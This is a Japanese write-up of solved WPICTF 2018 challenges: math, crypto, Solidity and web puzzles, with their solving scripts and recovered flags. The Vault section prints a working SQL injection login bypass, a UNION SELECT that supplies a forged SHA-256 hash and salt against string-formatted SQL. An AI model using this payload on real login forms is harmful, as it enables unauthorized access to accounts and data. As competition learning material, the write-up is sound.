この大会は2018/4/13 19:00(JST)~2018/4/15 19:00(JST)に開催されました。
今回もチームで参戦。結果は3418点で605チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。
Read (Misc 1)
問題にフラグが書いてある。
WPI{Hey_You_can_R3AD!}
Discord (Misc 10)
Discordの#discord_chalチャネルの名前の横にフラグが書かれている。
WPI{Welcome_to_Disc0rd_ya-D00fus}
Bitpuzzler (Misc 100)
$ nc bitpuzzler.wpictf.xyz 31337 ----- #include <stdlib.h> #include <stdio.h> #include <stdint.h> inline int64_t pmod(int64_t x) { int64_t v = x % 13707217; if(v < 0) return v + 13707217; else return v; } int main(int argc, char** argv) { int64_t x; scanf("%ld", &x); x = pmod(x); x = pmod(x - 2765383); x = pmod(x - 11088075); x = pmod(x - 53063); x = pmod(x - 816347); x = pmod(x * 12704223); x = pmod(x + 6252924); x = pmod(x * 6611972); x = pmod(x - 11827031); x = pmod(x + 11668824); x = pmod(x + 5960404); x = pmod(x + 3990469); x = pmod(x * 4551209); x = pmod(x + 8564211); x = pmod(x * 10868946); x = pmod(x + 13656920); x = pmod(x - 6875294); x = pmod(x - 5266333); x = pmod(x * 12540554); x = pmod(x * 6800308); x = pmod(x - 10601882); x = pmod(x - 13175208); x = pmod(x * 8674854); x = pmod(x - 1566882); x = pmod(x * 8916465); x = pmod(x - 12408787); x = pmod(x + 6566083); x = pmod(x - 12368595); x = pmod(x + 7142759); x = pmod(x - 5354305); x = pmod(x + 3248766); x = pmod(x - 3618572); x = pmod(x * 7724903); x = pmod(x + 706032); x = pmod(x - 9001286); x = pmod(x + 4888598); x = pmod(x - 8634454); x = pmod(x * 9733406); x = pmod(x + 7802326); x = pmod(x * 896038); x = pmod(x * 3011522); x = pmod(x * 6151929); x = pmod(x + 7935015); x = pmod(x * 8182226); x = pmod(x * 3248703); x = pmod(x + 4872711); x = pmod(x * 9159476); x = pmod(x - 3410508); x = pmod(x - 7169804); x = pmod(x - 8315); x = pmod(x * 3939779); x = pmod(x + 3876691); x = pmod(x * 4280527); x = pmod(x - 13340241); x = pmod(x * 8921547); x = pmod(x - 10642560); x = pmod(x - 9681873); x = pmod(x - 3724401); x = pmod(x + 1239026); x = pmod(x - 3208209); x = pmod(x - 3683714); x = pmod(x - 13079469); x = pmod(x * 9035856); x = pmod(x - 6439696); x = pmod(x * 5223258); x = pmod(x * 4723953); x = pmod(x - 10698396); x = pmod(x * 6315260); x = pmod(x * 10079006); x = pmod(x * 6765231); x = pmod(x + 8536576); x = pmod(x - 11301677); x = pmod(x + 8000942); x = pmod(x - 715059); x = pmod(x - 2200297); x = pmod(x * 9906480); x = pmod(x - 8854557); x = pmod(x * 5166668); x = pmod(x - 12459100); x = pmod(x - 818574); x = pmod(x - 2950323); x = pmod(x + 8425982); x = pmod(x * 11546411); x = pmod(x * 6166679); x = pmod(x * 6499675); x = pmod(x - 8615247); x = pmod(x + 7929113); x = pmod(x - 819362); x = pmod(x - 469235); x = pmod(x + 9436196); x = pmod(x * 10904837); x = pmod(x + 8443541); x = pmod(x + 11542857); x = pmod(x + 5018244); x = pmod(x * 1102863); x = pmod(x * 4817050); x = pmod(x + 7730697); x = pmod(x + 2374403); x = pmod(x * 2486459); x = pmod(x * 4797058); x = pmod(x * 8426160); if(x == 8594918) { printf("Success\n"); return 0; } else { printf("Failure\n"); return 1; } } -----
元のxを算出する問題。modの計算のため、割り算はinverseの計算をする必要がある。このことを考慮して、コードにすると、以下の通り。
import socket import re def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m def parse(s): ptn = 'x = pmod\(x (.+) (.+)\);' m = re.search(ptn, s) op = m.group(1) num = int(m.group(2)) return op, num def minus_mod(a, b, mod): return (a - b) % mod def plus_mod(a, b, mod): return (a + b) % mod def inv_mod(a, b, mod): return (a * modinv(b, mod)) % mod s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('bitpuzzler.wpictf.xyz', 31337)) for i in range(82): print '**** Round %d ****' % (i+1) data = recvuntil(s, '-----\n') data += recvuntil(s, '-----\n') print data lines = data.split('\n') ptn = 'int64_t v = x % (.+);' m = re.search(ptn, lines[7]) mod = int(m.group(1)) ptn = 'if\(x == (.+)\) {' m = re.search(ptn, lines[-10]) res = int(m.group(1)) formula = lines[17:-10] x = res for i in range(len(formula) - 1, 0, -1): op, num = parse(formula[i]) if op == '+': x = minus_mod(x, num, mod) elif op == '-': x = plus_mod(x, num, mod) elif op == '*': x = inv_mod(x, num, mod) print x s.sendall(str(x) + '\n') data = s.recv(256) print data data = s.recv(256) print data
82回正解すると、フラグが表示された。
WPI{R1NG$_@ND_F13LDS_M@KE_M3_W@NT_T0_D13}
guess5 (Crypto 200)
Submitをクリックしても反応がない。ブラウザのデベロッパーツールで確認すると、jsonをparseできないようなエラーが起きていることがわかる。
ソースを見ると、app.jsで処理が行われているように見える。
app.jsを見ると、以下のような記載があり、Guess6.jsonを参照していることがわかる。
initContract: function() { $.getJSON('Guess6.json', function(guess6Artifact) {
https://glgaines.github.io/guess5/Guess6.jsonを見てみる。
bytecodeなどのパラメータの値があるのがわかる。この辺りに暗号のパラメータでもあるのかもしれない。その辺りを読んでいくと、以下のような記述があり、そのままフラグが書いてあった。
"source": "pragma solidity ^0.4.17;\r\ncontract Guess6 {\r\n //global variables\r\n address owner;\r\n //modifiers\r\n modifier restricted() {\r\n require(msg.sender == owner);\r\n _;\r\n }\r\n // initialize\r\n function Guess6() public {\r\n owner = msg.sender;\r\n }\r\n function kill() public {\r\n if(msg.sender == owner) selfdestruct(owner);\r\n }\r\n\r\n function makeGuessesArray(uint8 guess0, uint8 guess1, uint8 guess2, uint8 guess3, uint8 guess4, uint8 guess5) public view returns(uint[7], string) {\r\n uint8[6] memory guesses;\r\n guesses[0] = guess0;\r\n guesses[1] = guess1;\r\n guesses[2] = guess2;\r\n guesses[3] = guess3;\r\n guesses[4] = guess4;\r\n guesses[5] = guess5;\r\n return createGuesses(guesses);\r\n }\r\n\r\n function createGuesses(uint8[6] guesses) public view returns (uint[7], string) {\r\n uint[7] memory resultArray;\r\n uint16 adder = guesses[0] + guesses[1] + guesses[2] + guesses[3] + guesses[4] + guesses[5];\r\n uint16 correctCount = 0;\r\n string memory result_answer;\r\n\r\n uint timeNow = now/100 + adder;\r\n resultArray[0] = timeNow % 9;\r\n resultArray[1] = timeNow % 3;\r\n resultArray[2] = timeNow % 5;\r\n resultArray[3] = timeNow % 7;\r\n resultArray[4] = timeNow % 8;\r\n resultArray[5] = timeNow % 2;\r\n\r\n resultArray[6] = timeNow;\r\n\r\n for(uint8 i = 0; i < 6; i++){\r\n if(resultArray[i] == guesses[i]) {\r\n correctCount++;\r\n }\r\n }\r\n if (correctCount == guesses.length){\r\n result_answer = \"you got the Flag: WPI{All_Hail_The_Mighty_Vitalik}\";\r\n } else {\r\n result_answer = \"Try again\";\r\n }\r\n return (resultArray, result_answer);\r\n }\r\n}\r\n",
WPI{All_Hail_The_Mighty_Vitalik}
Dance (Web 150)
$ curl -v https://dance.wpictf.xyz * Rebuilt URL to: https://dance.wpictf.xyz/ * Hostname was NOT found in DNS cache * Trying 35.184.194.215... * Connected to dance.wpictf.xyz (35.184.194.215) port 443 (#0) * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * SSLv3, TLS handshake, Client hello (1): * SSLv3, TLS handshake, Server hello (2): * SSLv3, TLS handshake, CERT (11): * SSLv3, TLS handshake, Server key exchange (12): * SSLv3, TLS handshake, Server finished (14): * SSLv3, TLS handshake, Client key exchange (16): * SSLv3, TLS change cipher, Client hello (1): * SSLv3, TLS handshake, Finished (20): * SSLv3, TLS change cipher, Client hello (1): * SSLv3, TLS handshake, Finished (20): * SSL connection using ECDHE-RSA-AES128-GCM-SHA256 * Server certificate: * subject: CN=dance.wpictf.xyz * start date: 2018-04-15 00:54:53 GMT * expire date: 2018-07-14 00:54:53 GMT * subjectAltName: dance.wpictf.xyz matched * issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3 * SSL certificate verify ok. > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: dance.wpictf.xyz > Accept: */* > < HTTP/1.1 302 FOUND * Server nginx/1.13.12 is not blacklisted < Server: nginx/1.13.12 < Date: Sun, 15 Apr 2018 03:35:14 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 309 < Connection: keep-alive < Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s < Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/ < Set-Cookie: Julius C.="got good dance moves."; Path=/ < Strict-Transport-Security: max-age=31536000 < <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> * Connection #0 to host dance.wpictf.xyz left intact <p>You should be redirected automatically to target URL: <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s">https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s</a>. If not click the link.
クッキーには以下がセットされている。
flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx= Julius C.="got good dance moves."
flagはそのままではBase64デコードしても、printableな文字にならない。シーザー暗号と考え、デコードしてWPI{で始まるものを見つける。
$ echo WPI{ | base64 V1BJewo=
https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipher
で復号する。
Rotation 9: V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=
$ echo V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo= | base64 -d WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
Vault (Web 200)
ソースを見る。
<!-- Welcome to the the Fuller Vault - clients/clients.db stores authentication info with the following schema: CREATE TABLE clients ( id VARCHAR(255) PRIMARY KEY AUTOINCREMENT, clientname VARCHAR(255), hash VARCHAR(255), salt VARCHAR(255) ); --> <!-- V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt -->
>>> 'V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt'.decode('base64') "What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham"
style.cssを見ると、Base64で書かれたコメントが記載されている。
c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg== Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K
>>> 'c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg=='.decode('base64') 'search = """SELECT id, hash, salt FROM clients WHERE clientname = \'{0}\' LIMIT 1""".format(clientname)\r\npointer.execute(search)\r\n\r\n res = pointer.fetchone()\r\n if not res:\r\n return "No such user in the database {0}!\\n".format(clientname)\r\n userID, hash, salt = res\r\n' >>> 'Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K'.decode('base64') 'calculatedHash = hashlib.sha256(password + salt)\r\nif calculatedHash.hexdigest() != hash:\r\n\r\n\tInvalid\r\n'
passwordとsaltを決めて、hashを計算する。
>>> import hashlib >>> hashlib.sha256('pass' + 'salt').hexdigest() 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6'
以下でログイン
Username ' union select '1', 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6', 'salt' -- Password pass →Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
idを2に変えてみる。
Username ' union select '2', 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6', 'salt' -- Password pass →Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}"
WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}